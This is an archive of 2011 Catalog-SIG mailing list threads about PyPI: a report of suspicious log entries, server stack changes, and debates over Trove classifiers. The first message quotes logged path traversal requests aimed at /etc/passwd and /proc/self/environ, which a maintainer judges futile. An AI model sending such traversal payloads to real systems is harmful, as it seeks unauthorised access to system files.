From chris at simplistix.co.uk Fri Dec 2 19:30:07 2011
From: chris at simplistix.co.uk (Chris Withers)
Date: Fri, 02 Dec 2011 18:30:07 +0000
Subject: [Catalog-sig] Attempts to hack pypi?
In-Reply-To: <20111202062506.A5EE84F8107@server1.simplistix.co.uk>
References: <20111202062506.A5EE84F8107@server1.simplistix.co.uk>
Message-ID: <4ED9192F.2000403@simplistix.co.uk>
Hi All,
I got these from a logwatch warning on my server:
/pypi?:action=/../../../../../../../../../../etc/passwd%00&digest=517d7c7014d2b581f321d500eed4305e
HTTP Response 302
/pypi?%3Aaction=../../../../../../../../../../etc/passwd HTTP
Response 302
/pypi?%3Aaction=../../../../../../../../../../proc/self/environ
HTTP Response 302
/pypi?%3Aaction=../../../../../../../../../../etc/passwd%00 HTTP
Response 302
/pypi?:action=../../../../../../../../../../proc/self/environ&provider=myOpenID
HTTP Response 302
/pypi?:action=show_md5&digest=/../../../../../../../../../../proc/self/environ%00
HTTP Response 302
/pypi?:action=show_md5&digest=../../../../../../../../../../proc/self/environ
HTTP Response 302
/pypi?:action=../../../../../../../../../../etc/passwd%00&digest=517d7c7014d2b581f321d500eed4305e
HTTP Response 302
/pypi?%3Aaction=/../../../../../../../../../../etc/passwd%00 HTTP
Response 302
/pypi?:action=../../../../../../../../../../proc/self/environ&digest=517d7c7014d2b581f321d500eed4305e
HTTP Response 302
/pypi?:action=../../../../../../../../../../etc/passwd&provider=myOpenID
HTTP Response 302
/pypi?:action=/../../../../../../../../../../etc/passwd&provider=myOpenID HTTP
Response 302
/pypi?%3Aaction=/../../../../../../../../../../proc/self/environ%00
HTTP Response 302
/pypi?%3Aaction=/../../../../../../../../../../etc/passwd HTTP
Response 302
/pypi?:action=../../../../../../../../../../etc/passwd&digest=517d7c7014d2b581f321d500eed4305e
HTTP Response 302
/pypi?:action=/../../../../../../../../../../etc/passwd&digest=517d7c7014d2b581f321d500eed4305e
HTTP Response 302
/pypi?:action=show_md5&digest=/etc/passwd HTTP Response 302
/pypi?:action=/../../../../../../../../../../proc/self/environ%00&provider=myOpenID
HTTP Response 302
/pypi?:action=../../../../../../../../../../etc/passwd%00&provider=myOpenID
HTTP Response 302
/pypi?%3Aaction=/etc/passwd HTTP Response 302
/pypi?:action=/../../../../../../../../../../proc/self/environ%00&digest=517d7c7014d2b581f321d500eed4305e
HTTP Response 302
...which looks a lot like someone trying to hack information from the
PyPI server, so thought I'd let you know...
cheers,
Chris
From martin at v.loewis.de Fri Dec 2 23:42:45 2011
From: martin at v.loewis.de (=?ISO-8859-1?Q?=22Martin_v=2E_L=F6wis=22?=)
Date: Fri, 02 Dec 2011 23:42:45 +0100
Subject: [Catalog-sig] Attempts to hack pypi?
In-Reply-To: <4ED9192F.2000403@simplistix.co.uk>
References: <20111202062506.A5EE84F8107@server1.simplistix.co.uk>
<4ED9192F.2000403@simplistix.co.uk>
Message-ID: <4ED95465.1080006@v.loewis.de>
> ...which looks a lot like someone trying to hack information from the
> PyPI server, so thought I'd let you know...
People are encouraged to review the code, but I'm fairly sure that these
attempts are futile. ISTM that this is a generic attack to try to fill
out parameters that remotely look like file names with what the attacker
thinks might also be valid filenames.
You can find the :action processing in inner_run of
https://svn.python.org/packages/trunk/pypi/webui.py
Regards,
Martin
From martin at v.loewis.de Wed Dec 7 09:29:59 2011
From: martin at v.loewis.de (=?ISO-8859-15?Q?=22Martin_v=2E_L=F6wis=22?=)
Date: Wed, 07 Dec 2011 09:29:59 +0100
Subject: [Catalog-sig] PyPI operational changes
Message-ID: <4EDF2407.4020301@v.loewis.de>
Over the last few weeks, I did a number of changes to the PyPI
installation, namely
- replace Apache with nginx
- replace FastCGI with uwsgi
- full vacuum of postgres, and activate of autovacuum
- introduce a separate uwsgi logging daemon
Together, these changes seem to have a positive effect on stability
of PyPI.
Peak load average is down from 500 to about 10:
http://pypi.python.org/munin/localdomain/localhost.localdomain/load.html
I believe this is mainly due to switching from Apache to nginx.
Apache would spawn hundreds of worker threads in an overload situation,
which made things worse, not better.
Memory consumption is down. Application memory would fluctuate up
to 3.5G, and is now at 750M. Committed memory would increase up to
20G, and is now below 2G. Swap might did use up to 3G, and is now
practically unused (7M).
http://pypi.python.org/munin/localdomain/localhost.localdomain/memory.html
Peak usage is again probably reduced to the change in process
model between Apache and nginx; in addition, the rejuvenation
features of uwsgi (replace worker process after 1000 requests)
prevent Python processes from growing too much unused memory.
Postgres response time is improved. There had been occasional
transactions taking 1700s, and occasional queries taking 870s.
This is now down to 45s/30s for the last day:
http://pypi.python.org/munin/localdomain/localhost.localdomain/postgres_querylength_ALL.html
There are two factors that likely cause this reduction. On the
one hand, the postgres database wasn't vacuumed:
http://pypi.python.org/munin/localdomain/localhost.localdomain/postgres_size_ALL.html
The reason for the failure to autovacuum probably was that it
was successively upgraded from 7.x release which didn't do
autovacuum, and Debian at some point dropping the cron job
that did the manual vacuum. Tables and indices now better fit
into the address space, improving performance.
Performing the full vacuum caused an outage of about 20 min
two weeks ago.
In addition, I set the uwsgi harakiri timeout to 60s, causing
any query taking longer to be aborted. I believe such queries
still occasionally happen; it's not clear to me what HTTP
requests are triggering such long-running transactions.
While I'm mostly happy with the current setup, one issue is
that uwsgi doesn't support proper logrotation; in particular,
it is unwilling to close-then-reopen the log files. Debian
tries to use the copytruncate approach of logrotate, but that
apparently didn't work too well (log space would constantly
increase). I have now written a UDP server which supports proper
log rotation and configured uwsgi to send log records to that
UDP port.
Regards,
Martin
From fred at fdrake.net Wed Dec 7 12:07:02 2011
From: fred at fdrake.net (Fred Drake)
Date: Wed, 7 Dec 2011 06:07:02 -0500
Subject: [Catalog-sig] PyPI operational changes
In-Reply-To: <4EDF2407.4020301@v.loewis.de>
References: <4EDF2407.4020301@v.loewis.de>
Message-ID: <CAFT4OTEFQ80=5hU7Sz+aguJz=t9qkWNmpnWRpDpKz7k+eywJxg@mail.gmail.com>
On Wed, Dec 7, 2011 at 3:29 AM, "Martin v. L?wis" <martin at v.loewis.de> wrote:
> Together, these changes seem to have a positive effect on stability
> of PyPI.
Thanks, Martin!
? -Fred
--
Fred L. Drake, Jr.? ? <fred at fdrake.net>
"A storm broke loose in my mind."? --Albert Einstein
From sdouche at gmail.com Wed Dec 7 12:51:00 2011
From: sdouche at gmail.com (Sebastien Douche)
Date: Wed, 7 Dec 2011 12:51:00 +0100
Subject: [Catalog-sig] PyPI operational changes
In-Reply-To: <4EDF2407.4020301@v.loewis.de>
References: <4EDF2407.4020301@v.loewis.de>
Message-ID: <CAAGHeXE4pk0MHQat7Txe0+dnsNreZ3MEfd5XdRp_eWcWLb_TQw@mail.gmail.com>
On Wed, Dec 7, 2011 at 09:29, "Martin v. L?wis" <martin at v.loewis.de> wrote:
> Together, these changes seem to have a positive effect on stability
> of PyPI.
Interesting feedback. Thanks Martin.
--
Sebastien Douche <sdouche at gmail.com>
Twitter: @sdouche / G+: +sdouche
From chrism at plope.com Sun Dec 11 05:44:12 2011
From: chrism at plope.com (Chris McDonough)
Date: Sat, 10 Dec 2011 23:44:12 -0500
Subject: [Catalog-sig] "python 2 only" classifier
Message-ID: <1323578652.2710.295.camel@thinko>
Hi,
It'd be useful to have a Trove classifier that signified "the authors
have no current intention to port this code to Python 3". Such a
classifier could be used by e.g. http://python3wos.appspot.com/ to
present a more accurate picture of the current state of porting efforts.
Currently automated reports like that are bad PR because there's no way
to communicate the intent.
Perhaps:
Programming Language :: Python :: 2 :: Only
- C
From robertc at robertcollins.net Sun Dec 11 18:41:23 2011
From: robertc at robertcollins.net (Robert Collins)
Date: Mon, 12 Dec 2011 06:41:23 +1300
Subject: [Catalog-sig] trove - LGPL v3 not recognised?
In-Reply-To: <20111115222849.GN2861@unaka.lan>
References: <CAJ3HoZ2=zDT19vq=AhDG-bbSO9j7krWMNOxog4AFf3s1CmjM0g@mail.gmail.com>
<4EC035BC.2040905@v.loewis.de>
<CAJ3HoZ2bxVF1+bcdeuV6y6OWJBvtjHZT7jotBaXfR0Fhvt_CsA@mail.gmail.com>
<20111114003747.GG2861@unaka.lan> <j9sdu6$t05$1@dough.gmane.org>
<20111115012828.GK2861@unaka.lan> <4EC20ADE.80500@v.loewis.de>
<20111115222849.GN2861@unaka.lan>
Message-ID: <CAJ3HoZ2479OP+Z+jLHDEpr-jotJ7MjuF7M1L_c12dghGoUTZ5w@mail.gmail.com>
These are the ones I would like to see:
> >License :: OSI Approved :: GNU Lesser General Public License v2 (LGPLv2)
> >License :: OSI Approved :: GNU Lesser General Public License v3 (LGPLv3)
> >License :: OSI Approved :: GNU Lesser General Public License v2 or later (LGPLv2+)
> >License :: OSI Approved :: GNU Lesser General Public License v3 or later (LGPLv3+)
> >License :: OSI Approved :: GNU General Public License v2 (GPLv2)
> >License :: OSI Approved :: GNU General Public License v3 (GPLv3)
> >License :: OSI Approved :: GNU General Public License v2 or later (GPLv2+)
> >License :: OSI Approved :: GNU General Public License v3 or later (GPLv3+)
Doing a 4th level would raise a bunch of interactions between legal
intent - the above list seems like a good compromise. We've just had
a user turn up confused around this again, so - do we have sufficient
consensus to add these?
-Rob
From noah at coderanger.net Sun Dec 11 20:12:47 2011
From: noah at coderanger.net (Noah Kantrowitz)
Date: Sun, 11 Dec 2011 11:12:47 -0800
Subject: [Catalog-sig] "python 2 only" classifier
In-Reply-To: <1323578652.2710.295.camel@thinko>
References: <1323578652.2710.295.camel@thinko>
Message-ID: <56757B3A-27B3-445B-958B-B236DCA0D36F@coderanger.net>
Is there a reason this needs to be a trove classifier? Just make some standard tag and use that :-)
--Noah
On Dec 10, 2011, at 8:44 PM, Chris McDonough wrote:
> Hi,
>
> It'd be useful to have a Trove classifier that signified "the authors
> have no current intention to port this code to Python 3". Such a
> classifier could be used by e.g. http://python3wos.appspot.com/ to
> present a more accurate picture of the current state of porting efforts.
> Currently automated reports like that are bad PR because there's no way
> to communicate the intent.
>
> Perhaps:
>
> Programming Language :: Python :: 2 :: Only
>
> - C
>
>
> _______________________________________________
> Catalog-SIG mailing list
> Catalog-SIG at python.org
> http://mail.python.org/mailman/listinfo/catalog-sig
-------------- next part --------------
A non-text attachment was scrubbed...
Name: signature.asc
Type: application/pgp-signature
Size: 163 bytes
Desc: Message signed with OpenPGP using GPGMail
URL: <http://mail.python.org/pipermail/catalog-sig/attachments/20111211/c625429f/attachment.pgp>
From chrism at plope.com Sun Dec 11 20:16:31 2011
From: chrism at plope.com (Chris McDonough)
Date: Sun, 11 Dec 2011 14:16:31 -0500
Subject: [Catalog-sig] "python 2 only" classifier
In-Reply-To: <56757B3A-27B3-445B-958B-B236DCA0D36F@coderanger.net>
References: <1323578652.2710.295.camel@thinko>
<56757B3A-27B3-445B-958B-B236DCA0D36F@coderanger.net>
Message-ID: <1323630991.2710.303.camel@thinko>
On Sun, 2011-12-11 at 11:12 -0800, Noah Kantrowitz wrote:
> Is there a reason this needs to be a trove classifier? Just make some standard tag and use that :-)
Please define "tag".
- C
>
> --Noah
>
> On Dec 10, 2011, at 8:44 PM, Chris McDonough wrote:
>
> > Hi,
> >
> > It'd be useful to have a Trove classifier that signified "the authors
> > have no current intention to port this code to Python 3". Such a
> > classifier could be used by e.g. http://python3wos.appspot.com/ to
> > present a more accurate picture of the current state of porting efforts.
> > Currently automated reports like that are bad PR because there's no way
> > to communicate the intent.
> >
> > Perhaps:
> >
> > Programming Language :: Python :: 2 :: Only
> >
> > - C
> >
> >
> > _______________________________________________
> > Catalog-SIG mailing list
> > Catalog-SIG at python.org
> > http://mail.python.org/mailman/listinfo/catalog-sig
>
From noah at coderanger.net Sun Dec 11 22:01:07 2011
From: noah at coderanger.net (Noah Kantrowitz)
Date: Sun, 11 Dec 2011 13:01:07 -0800
Subject: [Catalog-sig] "python 2 only" classifier
In-Reply-To: <1323630991.2710.303.camel@thinko>
References: <1323578652.2710.295.camel@thinko>
<56757B3A-27B3-445B-958B-B236DCA0D36F@coderanger.net>
<1323630991.2710.303.camel@thinko>
Message-ID: <44CBC6FF-8E4F-4CB7-929A-33240822A4B4@coderanger.net>
The "keywords" argument to setup(), which can then be searched via the XML-RPC API.
--Noah
On Dec 11, 2011, at 11:16 AM, Chris McDonough wrote:
> On Sun, 2011-12-11 at 11:12 -0800, Noah Kantrowitz wrote:
>> Is there a reason this needs to be a trove classifier? Just make some standard tag and use that :-)
>
> Please define "tag".
>
> - C
>
>
>>
>> --Noah
>>
>> On Dec 10, 2011, at 8:44 PM, Chris McDonough wrote:
>>
>>> Hi,
>>>
>>> It'd be useful to have a Trove classifier that signified "the authors
>>> have no current intention to port this code to Python 3". Such a
>>> classifier could be used by e.g. http://python3wos.appspot.com/ to
>>> present a more accurate picture of the current state of porting efforts.
>>> Currently automated reports like that are bad PR because there's no way
>>> to communicate the intent.
>>>
>>> Perhaps:
>>>
>>> Programming Language :: Python :: 2 :: Only
>>>
>>> - C
>>>
>>>
>>> _______________________________________________
>>> Catalog-SIG mailing list
>>> Catalog-SIG at python.org
>>> http://mail.python.org/mailman/listinfo/catalog-sig
>>
>
>
-------------- next part --------------
A non-text attachment was scrubbed...
Name: signature.asc
Type: application/pgp-signature
Size: 163 bytes
Desc: Message signed with OpenPGP using GPGMail
URL: <http://mail.python.org/pipermail/catalog-sig/attachments/20111211/40772e45/attachment.pgp>
From chrism at plope.com Sun Dec 11 22:42:10 2011
From: chrism at plope.com (Chris McDonough)
Date: Sun, 11 Dec 2011 16:42:10 -0500
Subject: [Catalog-sig] "python 2 only" classifier
In-Reply-To: <44CBC6FF-8E4F-4CB7-929A-33240822A4B4@coderanger.net>
References: <1323578652.2710.295.camel@thinko>
<56757B3A-27B3-445B-958B-B236DCA0D36F@coderanger.net>
<1323630991.2710.303.camel@thinko>
<44CBC6FF-8E4F-4CB7-929A-33240822A4B4@coderanger.net>
Message-ID: <1323639730.2710.314.camel@thinko>
On Sun, 2011-12-11 at 13:01 -0800, Noah Kantrowitz wrote:
> The "keywords" argument to setup(), which can then be searched via the XML-RPC API.
>
> --Noah
The intent is to allow a site like http://python3wos.appspot.com/ to
ignore distributions that signify an intent never to port to Python 3.
To this extent, it has to be a marker that is widely understood and
gains usage. It seems weird to say "ok yeah, tell us which versions of
Python you support in the Trove classifiers here.. and yeah, over here
too, except not in the Trove classifiers." I don't understand.
- C
>
> On Dec 11, 2011, at 11:16 AM, Chris McDonough wrote:
>
> > On Sun, 2011-12-11 at 11:12 -0800, Noah Kantrowitz wrote:
> >> Is there a reason this needs to be a trove classifier? Just make some standard tag and use that :-)
> >
> > Please define "tag".
> >
> > - C
> >
> >
> >>
> >> --Noah
> >>
> >> On Dec 10, 2011, at 8:44 PM, Chris McDonough wrote:
> >>
> >>> Hi,
> >>>
> >>> It'd be useful to have a Trove classifier that signified "the authors
> >>> have no current intention to port this code to Python 3". Such a
> >>> classifier could be used by e.g. http://python3wos.appspot.com/ to
> >>> present a more accurate picture of the current state of porting efforts.
> >>> Currently automated reports like that are bad PR because there's no way
> >>> to communicate the intent.
> >>>
> >>> Perhaps:
> >>>
> >>> Programming Language :: Python :: 2 :: Only
> >>>
> >>> - C
> >>>
> >>>
> >>> _______________________________________________
> >>> Catalog-SIG mailing list
> >>> Catalog-SIG at python.org
> >>> http://mail.python.org/mailman/listinfo/catalog-sig
> >>
> >
> >
>
From martin at v.loewis.de Sun Dec 11 23:36:26 2011
From: martin at v.loewis.de (=?ISO-8859-1?Q?=22Martin_v=2E_L=F6wis=22?=)
Date: Sun, 11 Dec 2011 23:36:26 +0100
Subject: [Catalog-sig] "python 2 only" classifier
In-Reply-To: <1323578652.2710.295.camel@thinko>
References: <1323578652.2710.295.camel@thinko>
Message-ID: <4EE5306A.9050200@v.loewis.de>
> It'd be useful to have a Trove classifier that signified "the authors
> have no current intention to port this code to Python 3".
That classifier already exists: "Programming Language :: Python :: 2"
indicates support for Python 2, and absence of "Programming Language ::
Python :: 3" then indicates that this version lacks Python 3 support.
I don't think classifiers should be used to indicate some intention of
package authors, in particular since the intention may change, but
past releases will not.
If you think that this is still different from what you are asking:
What specific packages would be tagged with that classifier (I need
two at least), and did that package authors agree to add the classifier
to their package if it was available? Which specific classifier do you
propose to add?
Regards,
Martin
From richard at python.org Mon Dec 12 00:01:12 2011
From: richard at python.org (Richard Jones)
Date: Mon, 12 Dec 2011 10:01:12 +1100
Subject: [Catalog-sig] "python 2 only" classifier
In-Reply-To: <1323578652.2710.295.camel@thinko>
References: <1323578652.2710.295.camel@thinko>
Message-ID: <CAHrZfZCe3BhLGq+RE8Y-gvsAbTuBUBTTDVYaSPmF8RoHbEeY_g@mail.gmail.com>
On 11 December 2011 15:44, Chris McDonough <chrism at plope.com> wrote:
> It'd be useful to have a Trove classifier that signified "the authors
> have no current intention to port this code to Python 3". ?Such a
> classifier could be used by e.g. http://python3wos.appspot.com/ to
> present a more accurate picture of the current state of porting efforts.
> Currently automated reports like that are bad PR because there's no way
> to communicate the intent.
>
> Perhaps:
>
> ?Programming Language :: Python :: 2 :: Only
I think it could be a useful flag. Added.
Richard
From richard at python.org Mon Dec 12 00:02:42 2011
From: richard at python.org (Richard Jones)
Date: Mon, 12 Dec 2011 10:02:42 +1100
Subject: [Catalog-sig] "python 2 only" classifier
In-Reply-To: <4EE5306A.9050200@v.loewis.de>
References: <1323578652.2710.295.camel@thinko> <4EE5306A.9050200@v.loewis.de>
Message-ID: <CAHrZfZCq3GDaQ5=WiOdBiRUrhXftccDaRXkH0hUDa1YA98ri-A@mail.gmail.com>
On 12 December 2011 09:36, "Martin v. L?wis" <martin at v.loewis.de> wrote:
> If you think that this is still different from what you are asking:
> What specific packages would be tagged with that classifier (I need
> two at least), and did that package authors agree to add the classifier
> to their package if it was available? Which specific classifier do you
> propose to add?
I believe the unittest2 package is a good example of a package that
would be tagged with "python 2 only" as it represents a backport of
the python 3 unittest module to python 2.
Richard
From fuzzyman at gmail.com Mon Dec 12 01:07:06 2011
From: fuzzyman at gmail.com (Michael Foord)
Date: Mon, 12 Dec 2011 00:07:06 +0000
Subject: [Catalog-sig] "python 2 only" classifier
In-Reply-To: <CAHrZfZCq3GDaQ5=WiOdBiRUrhXftccDaRXkH0hUDa1YA98ri-A@mail.gmail.com>
References: <1323578652.2710.295.camel@thinko> <4EE5306A.9050200@v.loewis.de>
<CAHrZfZCq3GDaQ5=WiOdBiRUrhXftccDaRXkH0hUDa1YA98ri-A@mail.gmail.com>
Message-ID: <CAKCKLWwsH7LMvb5LwjZfEewvA48RXQcQPOSpF_mfkAD3B-Lmtg@mail.gmail.com>
On 11 December 2011 23:02, Richard Jones <richard at python.org> wrote:
> On 12 December 2011 09:36, "Martin v. L?wis" <martin at v.loewis.de> wrote:
> > If you think that this is still different from what you are asking:
> > What specific packages would be tagged with that classifier (I need
> > two at least), and did that package authors agree to add the classifier
> > to their package if it was available? Which specific classifier do you
> > propose to add?
>
> I believe the unittest2 package is a good example of a package that
> would be tagged with "python 2 only" as it represents a backport of
> the python 3 unittest module to python 2.
>
>
Although there is a Python 3 compatible distribution of unittest2, which is
currently called unittest2py3k. (It is maintained as a set of patches
against CPython head - hence separate distributions for the same package
names). Python 2 Only is still applicable to unittest2, until / unless I
decide to use a single distribution for both.
My only worry is that the classifier would seem to indicate that there
*isn't* a Python 3 distribution available, when in fact there is.
All the best,
Michael
>
> Richard
> _______________________________________________
> Catalog-SIG mailing list
> Catalog-SIG at python.org
> http://mail.python.org/mailman/listinfo/catalog-sig
>
--
http://www.voidspace.org.uk/
May you do good and not evil
May you find forgiveness for yourself and forgive others
May you share freely, never taking more than you give.
-- the sqlite blessing http://www.sqlite.org/different.html
-------------- next part --------------
An HTML attachment was scrubbed...
URL: <http://mail.python.org/pipermail/catalog-sig/attachments/20111212/b06ee326/attachment.html>
From a.badger at gmail.com Mon Dec 12 07:57:55 2011
From: a.badger at gmail.com (Toshio Kuratomi)
Date: Sun, 11 Dec 2011 22:57:55 -0800
Subject: [Catalog-sig] "python 2 only" classifier
In-Reply-To: <4EE5306A.9050200@v.loewis.de>
References: <1323578652.2710.295.camel@thinko> <4EE5306A.9050200@v.loewis.de>
Message-ID: <20111212065755.GA8294@unaka.lan>
On Sun, Dec 11, 2011 at 11:36:26PM +0100, "Martin v. L?wis" wrote:
> > It'd be useful to have a Trove classifier that signified "the authors
> > have no current intention to port this code to Python 3".
>
> That classifier already exists: "Programming Language :: Python :: 2"
> indicates support for Python 2, and absence of "Programming Language ::
> Python :: 3" then indicates that this version lacks Python 3 support.
> I don't think classifiers should be used to indicate some intention of
> package authors, in particular since the intention may change, but
> past releases will not.
>
+1
Additionally, I'm not certain of the use case cited. Isn't the utility of
a site like http://python3wos.appspot.com/ in seeing which popular or
widely depended upon packages have no python3 version? With that in mind,
the listing on that page wouldn't seem to depend on whether a package's
author intends to port to python3. It depends more on whether the package
has some well-known python3 counterpart that dependent code can be (easily?)
ported to use instead. I'm thinking here of things like:
try:
from simplejson import loads
except ImportError:
from json import loads
Seems kind of a miscategorizaion to use the Programming Language ::
classifier for that.... Some sort of classifier that indicates that the
software is only relevant for a certain version of python seems better.
Looking at the existing catgories, maybe something like
Environment :: Python :: 2
would be appropriate.
(Although, ugh,I think that someone jumped the gun and added
Programming Language :: Python :: 2 :: Only
without waiting for the results of this discussion to finish. Not sure if
that can be reverted or if it's already too late.)
-Toshio
-------------- next part --------------
A non-text attachment was scrubbed...
Name: not available
Type: application/pgp-signature
Size: 198 bytes
Desc: not available
URL: <http://mail.python.org/pipermail/catalog-sig/attachments/20111211/5bc39b61/attachment.pgp>
From chrism at plope.com Mon Dec 12 08:28:13 2011
From: chrism at plope.com (Chris McDonough)
Date: Mon, 12 Dec 2011 02:28:13 -0500
Subject: [Catalog-sig] "python 2 only" classifier
In-Reply-To: <4EE5306A.9050200@v.loewis.de>
References: <1323578652.2710.295.camel@thinko> <4EE5306A.9050200@v.loewis.de>
Message-ID: <1323674893.2710.343.camel@thinko>
On Sun, 2011-12-11 at 23:36 +0100, "Martin v. L?wis" wrote:
> > It'd be useful to have a Trove classifier that signified "the authors
> > have no current intention to port this code to Python 3".
>
> That classifier already exists: "Programming Language :: Python :: 2"
> indicates support for Python 2, and absence of "Programming Language ::
> Python :: 3" then indicates that this version lacks Python 3 support.
> I don't think classifiers should be used to indicate some intention of
> package authors, in particular since the intention may change, but
> past releases will not.
Thanks to Richard for adding the classifier.
Point taken about past releases; lots of packages on PyPI have already
seen their last release.
But if the current party line in python-dev that goes something like "if
you don't want to port to Python 3, you don't have to" is to be
credible, then ongoing maintainers who choose not to port to Python 3
should not be subject to pressure exhibited by sites like the "wall of
shame". Being able to express the no-port intent explicitly relieves
the stupidest of those pressures.
I'm sympathetic to the opinion "the wall of shame should not make a
difference". But we have a PR problem, because the wall of shame is
linked endlessly from comments about Python 3 stores in every news
aggregator (Reddit, Hacker News, etc). People tend to use it as a stick
to beat the helpless with.
> If you think that this is still different from what you are asking:
> What specific packages would be tagged with that classifier (I need
> two at least), and did that package authors agree to add the classifier
> to their package if it was available? Which specific classifier do you
> propose to add?
The ones that I have some direct responsibility for are:
- Supervisor
- meld3
The ones that I am one step removed from and can venture a very educated
guess about because I participate on the related maillists and
occasionally contribute are:
- Routes
- Pylons
- zdaemon
- ZConfig
- most zope.* packages that aren't already py3 compat
- The Zope2 package
- The Plone package
- The Acquisition package (Zope-related)
- most zc.* packages
- all five.* packages (Zope-related)
- all plone.* packages
- borg.localrole (Plone)
- all archetypes.* packages (Plone)
- all kss.* packages (Plone)
- all Products.* packages (Zope2 products)
- RestrictedPython
All of these packages have > 90K downloads and are featured prominently
on the wall of shame (they actually form a large portion of the
"unported" stuff; 65 packages or so out of about 120). To the extent
that the above packages will see any new release, I suspect their
maintainers would be happy to mark them "Python 2 only".
- C
From fuzzyman at gmail.com Mon Dec 12 09:48:08 2011
From: fuzzyman at gmail.com (Michael Foord)
Date: Mon, 12 Dec 2011 08:48:08 +0000
Subject: [Catalog-sig] "python 2 only" classifier
In-Reply-To: <1323674893.2710.343.camel@thinko>
References: <1323578652.2710.295.camel@thinko> <4EE5306A.9050200@v.loewis.de>
<1323674893.2710.343.camel@thinko>
Message-ID: <CAKCKLWzghHCYO-ZOsu2g4H1GYgggpk3Oku_kx=czBzASU+HDdg@mail.gmail.com>
On 12 December 2011 07:28, Chris McDonough <chrism at plope.com> wrote:
> On Sun, 2011-12-11 at 23:36 +0100, "Martin v. L?wis" wrote:
> > > It'd be useful to have a Trove classifier that signified "the authors
> > > have no current intention to port this code to Python 3".
> >
> > That classifier already exists: "Programming Language :: Python :: 2"
> > indicates support for Python 2, and absence of "Programming Language ::
> > Python :: 3" then indicates that this version lacks Python 3 support.
> > I don't think classifiers should be used to indicate some intention of
> > package authors, in particular since the intention may change, but
> > past releases will not.
>
> Thanks to Richard for adding the classifier.
>
> Point taken about past releases; lots of packages on PyPI have already
> seen their last release.
>
> But if the current party line in python-dev that goes something like "if
> you don't want to port to Python 3, you don't have to" is to be
> credible, then ongoing maintainers who choose not to port to Python 3
> should not be subject to pressure exhibited by sites like the "wall of
> shame". Being able to express the no-port intent explicitly relieves
> the stupidest of those pressures.
>
> I'm sympathetic to the opinion "the wall of shame should not make a
> difference". But we have a PR problem, because the wall of shame is
> linked endlessly from comments about Python 3 stores in every news
> aggregator (Reddit, Hacker News, etc). People tend to use it as a stick
> to beat the helpless with.
>
>
Well sure - but python-dev has absolutely nothing to do with the
wall-of-shame. In addition whoever is responsible for it, is very
unresponsive and apparently not interested in fixing factual errors in the
list. So I doubt the new classifier will have any effect on that website
I'm afraid. :-(
Michael Foord
> > If you think that this is still different from what you are asking:
> > What specific packages would be tagged with that classifier (I need
> > two at least), and did that package authors agree to add the classifier
> > to their package if it was available? Which specific classifier do you
> > propose to add?
>
> The ones that I have some direct responsibility for are:
>
> - Supervisor
> - meld3
>
> The ones that I am one step removed from and can venture a very educated
> guess about because I participate on the related maillists and
> occasionally contribute are:
>
> - Routes
> - Pylons
> - zdaemon
> - ZConfig
> - most zope.* packages that aren't already py3 compat
> - The Zope2 package
> - The Plone package
> - The Acquisition package (Zope-related)
> - most zc.* packages
> - all five.* packages (Zope-related)
> - all plone.* packages
> - borg.localrole (Plone)
> - all archetypes.* packages (Plone)
> - all kss.* packages (Plone)
> - all Products.* packages (Zope2 products)
> - RestrictedPython
>
> All of these packages have > 90K downloads and are featured prominently
> on the wall of shame (they actually form a large portion of the
> "unported" stuff; 65 packages or so out of about 120). To the extent
> that the above packages will see any new release, I suspect their
> maintainers would be happy to mark them "Python 2 only".
>
> - C
>
>
> _______________________________________________
> Catalog-SIG mailing list
> Catalog-SIG at python.org
> http://mail.python.org/mailman/listinfo/catalog-sig
>
--
http://www.voidspace.org.uk/
May you do good and not evil
May you find forgiveness for yourself and forgive others
May you share freely, never taking more than you give.
-- the sqlite blessing http://www.sqlite.org/different.html
-------------- next part --------------
An HTML attachment was scrubbed...
URL: <http://mail.python.org/pipermail/catalog-sig/attachments/20111212/cea5b04a/attachment-0001.html>
From chrism at plope.com Mon Dec 12 09:51:10 2011
From: chrism at plope.com (Chris McDonough)
Date: Mon, 12 Dec 2011 03:51:10 -0500
Subject: [Catalog-sig] "python 2 only" classifier
In-Reply-To: <CAKCKLWzghHCYO-ZOsu2g4H1GYgggpk3Oku_kx=czBzASU+HDdg@mail.gmail.com>
References: <1323578652.2710.295.camel@thinko>
<4EE5306A.9050200@v.loewis.de> <1323674893.2710.343.camel@thinko>
<CAKCKLWzghHCYO-ZOsu2g4H1GYgggpk3Oku_kx=czBzASU+HDdg@mail.gmail.com>
Message-ID: <1323679870.2710.352.camel@thinko>
On Mon, 2011-12-12 at 08:48 +0000, Michael Foord wrote:
> I'm sympathetic to the opinion "the wall of shame should not
> make a
> difference". But we have a PR problem, because the wall of
> shame is
> linked endlessly from comments about Python 3 stores in every
> news
> aggregator (Reddit, Hacker News, etc). People tend to use it
> as a stick
> to beat the helpless with.
> Well sure - but python-dev has absolutely nothing to do with the
> wall-of-shame. In addition whoever is responsible for it, is very
> unresponsive and apparently not interested in fixing factual errors in
> the list. So I doubt the new classifier will have any effect on that
> website I'm afraid. :-(
Jesse seemed to think he was reachable and receptive. I'll try to get a
hold of him; if he doesn't respond or responds in the negative, I won't
advertise the classifier.
- C
From fuzzyman at gmail.com Mon Dec 12 09:56:27 2011
From: fuzzyman at gmail.com (Michael Foord)
Date: Mon, 12 Dec 2011 08:56:27 +0000
Subject: [Catalog-sig] "python 2 only" classifier
In-Reply-To: <1323679870.2710.352.camel@thinko>
References: <1323578652.2710.295.camel@thinko> <4EE5306A.9050200@v.loewis.de>
<1323674893.2710.343.camel@thinko>
<CAKCKLWzghHCYO-ZOsu2g4H1GYgggpk3Oku_kx=czBzASU+HDdg@mail.gmail.com>
<1323679870.2710.352.camel@thinko>
Message-ID: <CAKCKLWznQREy2A1EtCVjgNeKAdwwCk9soQSukznjTXOjPvxWHw@mail.gmail.com>
On 12 December 2011 08:51, Chris McDonough <chrism at plope.com> wrote:
> On Mon, 2011-12-12 at 08:48 +0000, Michael Foord wrote:
>
> > I'm sympathetic to the opinion "the wall of shame should not
> > make a
> > difference". But we have a PR problem, because the wall of
> > shame is
> > linked endlessly from comments about Python 3 stores in every
> > news
> > aggregator (Reddit, Hacker News, etc). People tend to use it
> > as a stick
> > to beat the helpless with.
>
> > Well sure - but python-dev has absolutely nothing to do with the
> > wall-of-shame. In addition whoever is responsible for it, is very
> > unresponsive and apparently not interested in fixing factual errors in
> > the list. So I doubt the new classifier will have any effect on that
> > website I'm afraid. :-(
>
> Jesse seemed to think he was reachable and receptive. I'll try to get a
> hold of him; if he doesn't respond or responds in the negative, I won't
> advertise the classifier.
>
>
Ah, ok. Sounds good. I've tried contacting the maintainer in the past about
errors and not had any response - you and Jesse may have better luck.
Michael
- C
>
>
>
